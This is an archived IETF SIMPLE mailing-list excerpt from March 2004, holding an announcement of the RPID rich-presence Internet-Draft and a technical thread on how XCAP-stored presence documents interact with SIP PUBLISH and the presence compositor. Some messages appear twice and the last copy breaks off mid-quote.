	Author(s)	: H. Schulzrinne, V. Gurbani, P. Kyzivat, J. Rosenberg
	Filename	: draft-ietf-simple-rpid-02.txt
	Pages		: 19
	Date		: 2004-3-15
	
The Rich Presence Information Data Format (RPID) adds elements to the
   Presence Information Data Format (PIDF) that provide additional
   information about the presentity and its contacts.  The information
   is designed so that much of it can be derived automatically, e.g.,
   from calendar files or user activity.

   This extension includes information about what the presentity is
   doing (the activity element), a grouping identifier for a tuple (the
   class element), the type of tuple (the contact-type element), whether
   a contact is idle (the idle element), the typle of place a presentity
   is in (the placetype element), whether the presentity is in a public
   or private space (the privacy element), the relationship of a tuple
   to another presentity (the relationship element), and the overall
   role of the presentity (the sphere element).

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-simple-rpid-02.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-simple-rpid-02.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-simple-rpid-02.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<2004-3-15142851.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-simple-rpid-02.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-simple-rpid-02.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<2004-3-15142851.I-D@ietf.org>

--OtherAccess--

--NextPart--



_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Mon Mar 15 15:59:38 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA24904
	for <simple-archive@odin.ietf.org>; Mon, 15 Mar 2004 15:59:38 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B2zB0-0003r8-C9
	for simple-archive@odin.ietf.org; Mon, 15 Mar 2004 15:59:10 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2FKxAeZ014821
	for simple-archive@odin.ietf.org; Mon, 15 Mar 2004 15:59:10 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B2zB0-0003qy-8P
	for simple-web-archive@optimus.ietf.org; Mon, 15 Mar 2004 15:59:10 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA24828
	for <simple-web-archive@ietf.org>; Mon, 15 Mar 2004 15:59:07 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2zAy-0005An-00
	for simple-web-archive@ietf.org; Mon, 15 Mar 2004 15:59:08 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B2z9z-00052s-00
	for simple-web-archive@ietf.org; Mon, 15 Mar 2004 15:58:08 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2z90-0004uj-00; Mon, 15 Mar 2004 15:57:06 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B2z8w-0003a3-CQ; Mon, 15 Mar 2004 15:57:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B2z8J-0003Wt-PT
	for simple@optimus.ietf.org; Mon, 15 Mar 2004 15:56:23 -0500
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA24371;
	Mon, 15 Mar 2004 15:56:21 -0500 (EST)
Message-Id: <200403152056.PAA24371@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: simple@ietf.org
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: [Simple] I-D ACTION:draft-ietf-simple-rpid-02.txt
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 15 Mar 2004 15:56:20 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.5 required=5.0 tests=AWL,MIME_BOUND_NEXTPART,
	NO_REAL_NAME autolearn=no version=2.60

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the SIP for Instant Messaging and Presence Leveraging Extensions Working Group of the IETF.

	Title		: RPID: Rich Presence: Extensions to the Presence Information Data Format (PIDF)
	Author(s)	: H. Schulzrinne, V. Gurbani, P. Kyzivat, J. Rosenberg
	Filename	: draft-ietf-simple-rpid-02.txt
	Pages		: 19
	Date		: 2004-3-15
	
The Rich Presence Information Data Format (RPID) adds elements to the
   Presence Information Data Format (PIDF) that provide additional
   information about the presentity and its contacts.  The information
   is designed so that much of it can be derived automatically, e.g.,
   from calendar files or user activity.

   This extension includes information about what the presentity is
   doing (the activity element), a grouping identifier for a tuple (the
   class element), the type of tuple (the contact-type element), whether
   a contact is idle (the idle element), the typle of place a presentity
   is in (the placetype element), whether the presentity is in a public
   or private space (the privacy element), the relationship of a tuple
   to another presentity (the relationship element), and the overall
   role of the presentity (the sphere element).

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-simple-rpid-02.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-simple-rpid-02.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-simple-rpid-02.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<2004-3-15142851.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-simple-rpid-02.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-simple-rpid-02.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<2004-3-15142851.I-D@ietf.org>

--OtherAccess--

--NextPart--



_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Mon Mar 15 17:42:13 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA04011
	for <simple-archive@ietf.org>; Mon, 15 Mar 2004 17:42:13 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B30ml-0007QH-00
	for simple-archive@ietf.org; Mon, 15 Mar 2004 17:42:15 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B30lr-0007NK-00
	for simple-archive@ietf.org; Mon, 15 Mar 2004 17:41:20 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B30lb-0007Ks-00; Mon, 15 Mar 2004 17:41:03 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B30la-0003Ip-5F; Mon, 15 Mar 2004 17:41:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B30kn-0003H7-He
	for simple@optimus.ietf.org; Mon, 15 Mar 2004 17:40:13 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA03913
	for <simple@ietf.org>; Mon, 15 Mar 2004 17:40:09 -0500 (EST)
From: Markus.Isomaki@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B30kl-0007Ih-00
	for simple@ietf.org; Mon, 15 Mar 2004 17:40:11 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B30jv-0007EM-00
	for simple@ietf.org; Mon, 15 Mar 2004 17:39:20 -0500
Received: from mgw-x1.nokia.com ([131.228.20.21])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B30j5-00078C-00
	for simple@ietf.org; Mon, 15 Mar 2004 17:38:27 -0500
Received: from esdks002.ntc.nokia.com (esdks002.ntc.nokia.com [172.21.138.121])
	by mgw-x1.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2FMcNA25143;
	Tue, 16 Mar 2004 00:38:23 +0200 (EET)
X-Scanned: Tue, 16 Mar 2004 00:38:13 +0200 Nokia Message Protector V1.3.20 2004022613 - RELEASE
Received: (from root@localhost)
	by esdks002.ntc.nokia.com (8.12.9/8.12.9) id i2FMcDR6016047;
	Tue, 16 Mar 2004 00:38:13 +0200
Received: from mgw-int2.ntc.nokia.com (172.21.143.97)
	by esdks002.ntc.nokia.com 008lBRwQ; Tue, 16 Mar 2004 00:38:11 EET
Received: from esebh003.NOE.Nokia.com (esebh003.ntc.nokia.com [172.21.138.82])
	by mgw-int2.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2FMcBH24901;
	Tue, 16 Mar 2004 00:38:11 +0200 (EET)
Received: from esebe018.NOE.Nokia.com ([172.21.138.57]) by esebh003.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Tue, 16 Mar 2004 00:38:10 +0200
x-mimeole: Produced By Microsoft Exchange V6.0.6487.1
Content-Class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (wa s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
Message-ID: <E392EEA75EC5F54AB75229B693B1B6A707E7A396@esebe018.ntc.nokia.com>
Thread-Topic: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (wa s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
Thread-Index: AcQIN7RbT+kxKRdqTKGO/h0n+urafQCpWObA
To: <george.foti@ericsson.com>, <jdrosen@dynamicsoft.com>
Cc: <simple@ietf.org>
X-OriginalArrivalTime: 15 Mar 2004 22:38:10.0732 (UTC) FILETIME=[31C666C0:01C40ADE]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 16 Mar 2004 00:38:08 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.4 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable

Hi,

See inline.

> -----Original Message-----
> From: simple-admin@ietf.org [mailto:simple-admin@ietf.org]On Behalf Of
> ext George Foti (QA/EMC)
> Sent: 12 March, 2004 15:36
> To: Isomaki Markus (Nokia-NRC/Helsinki); jdrosen@dynamicsoft.com
> Cc: simple@ietf.org
> Subject: RE: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft
> (wa s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
>=20
>=20
> So let me run an example to see how this would work:
>=20
> I assume here that there is no *standard* definition of what=20
> tuples are "hard state" or "soft state".
>=20

Right.

> I go to my PC, using XCAP create an XML document that sets my=20
> cell phone status to be off, say tuple 1.
> The XCAP server, in turn, updates the composer & my presence=20
> status for susbription.

OK.

> Then I turn my cell phone on, and launch the presence client=20
> in it, which  I probably can configure to use the same tuple=20
> id (as the one used in XCAP i.e tuple). The client will sets=20
> the presence status ON &  pulishes that  to the composer=20
> using PUBLISH.
>=20

Tuple ids have no significance beyond the scope of a single PIDF =
document, so what you describe above is not exactly how this would work. =
However, you can PUBLISH an "identical" tuple from your cell phone (what =
identical means may actually not be so clear...) to what you manipulated =
earlier using XCAP.=20

> So here is my cell phons status from each entity's point of view:=20
> 1) The XCAP server has my cell phone turned OFF in its storage.=20
> 2) My presence status has my cell phone turned ON.
>=20

OK.

> Is that the way it should behave?

Yes, it is now upto the composer to decide how to combine the two =
sources of presence information. Admittedly this is problematic if there =
is conflicting information. Typically the information obtained via SIP =
PUBLISH would override the information given by XCAP. However, there's =
no way to distinguish between two SIP PUBLISHes.

Currently SIMPLE has not defined anything about the composer, and it is =
not upto the pidf-manipulation XCAP usage to do so either.

> Can u please elaborate a bit on your answer here.
>=20
> Thnx/gf
>=20

Markus

>=20
>=20
>=20
>=20
> > -----Original Message-----
> > From: Markus.Isomaki@nokia.com [mailto:Markus.Isomaki@nokia.com]
> > Sent: Friday, March 12, 2004 5:18 AM
> > To: jdrosen@dynamicsoft.com; George Foti (QA/EMC)
> > Cc: simple@ietf.org
> > Subject: RE: [Simple] RE: Comments on PIDF-Manipulation=20
> Usage-00draft
> > (wa s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
> >=20
> >=20
> > Hi,
> >=20
> > I think Jonathan already explained the relationship between=20
> > the PIDF document that is manipulated with XCAP and the ones=20
> > published using SIP PUBLISH. Actually the current draft=20
> > already has a similar figure as Jonathan draw included:
> >=20
> > ---
> >=20
> >=20
> >                +---------------+         +------------+
> >                |   Event State |         |  Presence  |-->=20
> > SIP SUBSCRIBE
> >                |   Compositor  +---------+  Agent     |<--=20
> SIP NOTIFY
> >                |               |         |   (PA)     |
> >                +-------+-------+         +------------+
> >                  ^     ^     ^
> >                  |     |     |
> >                  |     |     |       +---------------+
> >         +--------+     |     +-------|  XCAP server  |
> >         |              |             +-------+-------+
> >         |              |                 ^         ^
> >         | SIP Publish  |                 |  XCAP   |
> >         |              |                 |         |
> >      +--+--+        +--+--+         +-------+   +-------+
> >      | PUA |        | PUA |         | XCAP  |   | XCAP  |
> >      |     |        |     |         | client|   | client|
> >      +-----+        +-----+         +-------+   +-------+
> >=20
> >=20
> >       Figure 1: Framework for Presence Publishing and Event State
> >                               Composition
> >=20
> > ---
> >=20
> > So it should be explicit and normative that XCAP and PUBLISH=20
> > work upon different documents, and it is the matter of the=20
> > "event state compositor" to figure out how to consolidate=20
> > those inputs.
> >=20
> > I'm planning to submit the "WG-version" of the draft early=20
> > next. Before that I'll check if it is still possible to=20
> > improve the wording to make things more clear, although I=20
> > think the current text should be quite clear already.
> >=20
> > I also think it's better to reference to the RFC defining the=20
> > PIDF schema rather than copy-paste the definition within=20
> this draft.=20
> >=20
> > Markus
> >=20
> > > -----Original Message-----
> > > From: ext Jonathan Rosenberg [mailto:jdrosen@dynamicsoft.com]
> > > Sent: 11 March, 2004 06:58
> > > To: George Foti (QA/EMC)
> > > Cc: Isomaki Markus (Nokia-NRC/Helsinki); simple@ietf.org
> > > Subject: Re: [Simple] RE: Comments on PIDF-Manipulation=20
> > Usage-00draft
> > > (wa s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
> > >=20
> > >=20
> > >=20
> > > inline.
> > >=20
> > > George Foti (QA/EMC) wrote:
> > >=20
> > > >> What if a user changes other  soft tuples with XCAP.
> > > >>=20
> > > >> It is my understanding that they cannot.
> > > >>=20
> > > >> This is enforced because the presence documents=20
> > published through=20
> > > >> PUBLISH are simply not reflected into the xcap hierarchy.
> > > >>=20
> > > >>=20
> > > >>>=20
> > > >>> Will the server allow that?
> > > >>=20
> > > >> No.
> > > >=20
> > > >=20
> > > > The current scope of the PIDF manipluation using XCAP is=20
> > the entire
> > > > PIDF XML document as well as presence extensions.
> > >=20
> > >=20
> > > Right.
> > >=20
> > >=20
> > > > There is nothing in
> > > > the draft that says otherwise. As far as PUBLISH is=20
> concerned, the
> > > > draft 03 explitly says that the content type for a=20
> > > published presence
> > > > event is the PIDF presence document.
> > >=20
> > > Right.
> > >=20
> > > >=20
> > > > Doesn't that imply that the indeed, per the current=20
> > draft, published
> > > > documents for presence events are indeed reflected in the xcap
> > > > hierarchy, or have I missed something ?
> > >=20
> > > No. Just because the content type of publications is the=20
> > same as the=20
> > > type manipulated by xcap, it does not mean that you can=20
> manipulate=20
> > > published documents with xcap.
> > >=20
> > > The model which is implicit here (and perhaps needs to be=20
> > explicit),=20
> > > looks something like this:
> > >=20
> > >    Please view in a fixed-width font such as Courier.
> > >=20
> > >=20
> > >=20
> > >=20
> > >=20
> > >=20
> > >=20
> > >=20
> > >=20
> > >=20
> > >=20
> > >=20
> > >                          +--------------+    SUB
> > >                          |              |<--------------
> > >                          |  Presence    |
> > >                          |  Server      |
> > >                          |              |    NOT
> > >                          |              |-------------->
> > >                          |              |
> > >                          +--------------+
> > >                            /        \
> > >                          //          \\
> > >                         /              \    publication
> > >                        /                \
> > >                      // SIP              \\
> > >                     /   PUBLISH            \
> > >                    /                        \
> > >=20
> > >             +-----------+                 +-----------+
> > >             |           |                 |           |
> > >             |   PUA     |                 | XCAP Srvr |
> > >             +-----------+                 +-----------+
> > >                                                  ^
> > >                                                  |
> > >                                                  |
> > >                                                  |  xcap
> > >                                                  |
> > >                                                  |
> > >                                                  |
> > >                                                  |
> > >                                                  |
> > >                                                  |
> > >                                           +------------+
> > >                                           |            |
> > >                                           | XCAP Client|
> > >                                           +------------+
> > >=20
> > > In this model, the presence server has many sources of=20
> > presence data.=20
> > > One is the SIP published documents. Another one is the=20
> xcap server,=20
> > > which stores a presence document permananetly and makes it=20
> > > available to=20
> > > the presence serevr through some kind of "publication" mecahnism=20
> > > (generally an internal interface). The client can manipulate this=20
> > > permanent document using xcap.
> > >=20
> > > In this model, the xcap server simply doesnt have access to=20
> > > the presence=20
> > > documents published through sip.
> > >=20
> > > Even if it did, we have no way to address them. That is, lets=20
> > > say I had=20
> > > a PC and a phone, and both used SIP PUBLISH to publish presence=20
> > > documents. What xcap URL corresponds to the PC's presence=20
> > > doc, and which=20
> > > xcap url points to that of the phone? You would need to define=20
> > > conventions for addressing these SIP published documents with=20
> > > xcap. The=20
> > > pidf-manipulation document doesnt do that, so there is simply=20
> > > no way to=20
> > > even shake a url at one of those documents to modify it. In=20
> > > that way, it=20
> > > is disallowed by the spec.
> > >=20
> > >=20
> > > >=20
> > > > And one more thing, all applications using XCAP should=20
> > have the XML
> > > > schema included in the usage draft for consistency and=20
> > completness.=20
> > > > The list usage application had them there, the CPCP (XCON) were
> > > > instructed to do. In this case they are not.
> > >=20
> > > The schema for pidf-manipulation is pidf, so I thought it=20
> > defined the=20
> > > schema by referencing the pidf document. What is wrong with=20
> > > doing that?
> > >=20
> > > Thanks,
> > > Jonathan R.
> > >=20
> > > --=20
> > > Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
> > > Chief Technology Officer                    Parsippany, NJ=20
> > 07054-2711
> > > dynamicsoft
> > > jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> > > http://www.jdrosen.net                      PHONE: (973) 952-5000
> > > http://www.dynamicsoft.com
> > >=20
> >=20
> =20
>=20
> This communication is confidential and intended solely for=20
> the addressee(s). Any unauthorized review, use, disclosure or=20
> distribution is prohibited. If you believe this message has=20
> been sent to you in error, please notify the sender by=20
> replying to this transmission and delete the message without=20
> disclosing it. Thank you.
>=20
> E-mail including attachments is susceptible to data=20
> corruption, interruption, unauthorized amendment, tampering=20
> and viruses, and we only send and receive e-mails on the=20
> basis that we are not liable for any such corruption,=20
> interception, amendment, tampering or viruses or any=20
> consequences thereof.
>=20
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Mon Mar 15 17:42:45 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA04032
	for <simple-archive@odin.ietf.org>; Mon, 15 Mar 2004 17:42:45 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B30mo-0003WK-F1
	for simple-archive@odin.ietf.org; Mon, 15 Mar 2004 17:42:18 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2FMgItk013529
	for simple-archive@odin.ietf.org; Mon, 15 Mar 2004 17:42:18 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B30mo-0003W8-9U
	for simple-web-archive@optimus.ietf.org; Mon, 15 Mar 2004 17:42:18 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA04021
	for <simple-web-archive@ietf.org>; Mon, 15 Mar 2004 17:42:14 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B30ml-0007QO-00
	for simple-web-archive@ietf.org; Mon, 15 Mar 2004 17:42:15 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B30ls-0007NS-00
	for simple-web-archive@ietf.org; Mon, 15 Mar 2004 17:41:21 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B30lb-0007Ks-00; Mon, 15 Mar 2004 17:41:03 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B30la-0003Ip-5F; Mon, 15 Mar 2004 17:41:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B30kn-0003H7-He
	for simple@optimus.ietf.org; Mon, 15 Mar 2004 17:40:13 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA03913
	for <simple@ietf.org>; Mon, 15 Mar 2004 17:40:09 -0500 (EST)
From: Markus.Isomaki@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B30kl-0007Ih-00
	for simple@ietf.org; Mon, 15 Mar 2004 17:40:11 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B30jv-0007EM-00
	for simple@ietf.org; Mon, 15 Mar 2004 17:39:20 -0500
Received: from mgw-x1.nokia.com ([131.228.20.21])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B30j5-00078C-00
	for simple@ietf.org; Mon, 15 Mar 2004 17:38:27 -0500
Received: from esdks002.ntc.nokia.com (esdks002.ntc.nokia.com [172.21.138.121])
	by mgw-x1.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2FMcNA25143;
	Tue, 16 Mar 2004 00:38:23 +0200 (EET)
X-Scanned: Tue, 16 Mar 2004 00:38:13 +0200 Nokia Message Protector V1.3.20 2004022613 - RELEASE
Received: (from root@localhost)
	by esdks002.ntc.nokia.com (8.12.9/8.12.9) id i2FMcDR6016047;
	Tue, 16 Mar 2004 00:38:13 +0200
Received: from mgw-int2.ntc.nokia.com (172.21.143.97)
	by esdks002.ntc.nokia.com 008lBRwQ; Tue, 16 Mar 2004 00:38:11 EET
Received: from esebh003.NOE.Nokia.com (esebh003.ntc.nokia.com [172.21.138.82])
	by mgw-int2.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2FMcBH24901;
	Tue, 16 Mar 2004 00:38:11 +0200 (EET)
Received: from esebe018.NOE.Nokia.com ([172.21.138.57]) by esebh003.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Tue, 16 Mar 2004 00:38:10 +0200
x-mimeole: Produced By Microsoft Exchange V6.0.6487.1
Content-Class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (wa s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
Message-ID: <E392EEA75EC5F54AB75229B693B1B6A707E7A396@esebe018.ntc.nokia.com>
Thread-Topic: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (wa s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
Thread-Index: AcQIN7RbT+kxKRdqTKGO/h0n+urafQCpWObA
To: <george.foti@ericsson.com>, <jdrosen@dynamicsoft.com>
Cc: <simple@ietf.org>
X-OriginalArrivalTime: 15 Mar 2004 22:38:10.0732 (UTC) FILETIME=[31C666C0:01C40ADE]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 16 Mar 2004 00:38:08 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.4 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable

Hi,

See inline.

> -----Original Message-----
> From: simple-admin@ietf.org [mailto:simple-admin@ietf.org]On Behalf Of
> ext George Foti (QA/EMC)
> Sent: 12 March, 2004 15:36
> To: Isomaki Markus (Nokia-NRC/Helsinki); jdrosen@dynamicsoft.com
> Cc: simple@ietf.org
> Subject: RE: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft
> (wa s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
>=20
>=20
> So let me run an example to see how this would work:
>=20
> I assume here that there is no *standard* definition of what=20
> tuples are "hard state" or "soft state".
>=20

Right.

> I go to my PC, using XCAP create an XML document that sets my=20
> cell phone status to be off, say tuple 1.
> The XCAP server, in turn, updates the composer & my presence=20
> status for susbription.

OK.

> Then I turn my cell phone on, and launch the presence client=20
> in it, which  I probably can configure to use the same tuple=20
> id (as the one used in XCAP i.e tuple). The client will sets=20
> the presence status ON &  pulishes that  to the composer=20
> using PUBLISH.
>=20

